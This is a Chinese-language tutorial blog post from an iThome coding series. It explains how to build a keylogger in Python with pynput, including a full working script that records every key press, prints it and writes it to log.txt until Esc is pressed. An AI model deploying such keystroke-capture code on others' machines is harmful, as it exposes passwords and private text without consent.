iT邦幫忙

2024 iThome 鐵人賽

DAY 26
0

今天就要來學習如何使用 pynput 製作 Keylogger。Keylogger 顧名思義鍵盤紀錄(監控),用來記錄鍵盤輸入那些字。pynput.keyboard 包含用於控制和監視鍵盤的類別。pynput 是 Python 的一個函式庫,可用於捕獲鍵盤輸入,製作Keylogger。

安裝 pynput

$pip install pynput 

程式碼

import pynput
from pynput.keyboard import Key, Listener
  
# 用來存儲按鍵的列表
keys = []
  
def on_press(key):
    # 當按鍵被按下時,將其加入到 keys 列表中
    keys.append(key)
    write_file(keys)
     
    try:
        # 嘗試輸出字母或數字按鍵
        print('alphanumeric key {0} pressed'.format(key.char))
    except AttributeError:
        # 如果是特殊按鍵,則輸出特殊按鍵
        print('special key {0} pressed'.format(key))
          
def write_file(keys):
    # 將按鍵記錄寫入文件
    with open('log.txt', 'w') as f:
        for key in keys:
            # 去除單引號
            k = str(key).replace("'", "")
            f.write(k)
                     
            # 每個按鍵之後顯式添加一個空格,增加可讀性
            f.write(' ') 
              
def on_release(key):
    # 當按鍵被釋放時輸出
    print('{0} released'.format(key))
    if key == Key.esc:
        # 如果按下了 Esc 鍵,停止監聽
        return False
  
# 監聽鍵盤事件
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

圖示 :

https://ithelp.ithome.com.tw/upload/images/20240902/20168345nRp7gyaPDi.png

參考資料 :
https://www.geeksforgeeks.org/how-to-use-pynput-to-make-a-keylogger/


上一篇
[Python] 螢幕錄影
下一篇
[Python] 查詢電腦 Private IP 與 Public IP
系列文
一些Python可以做的事30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言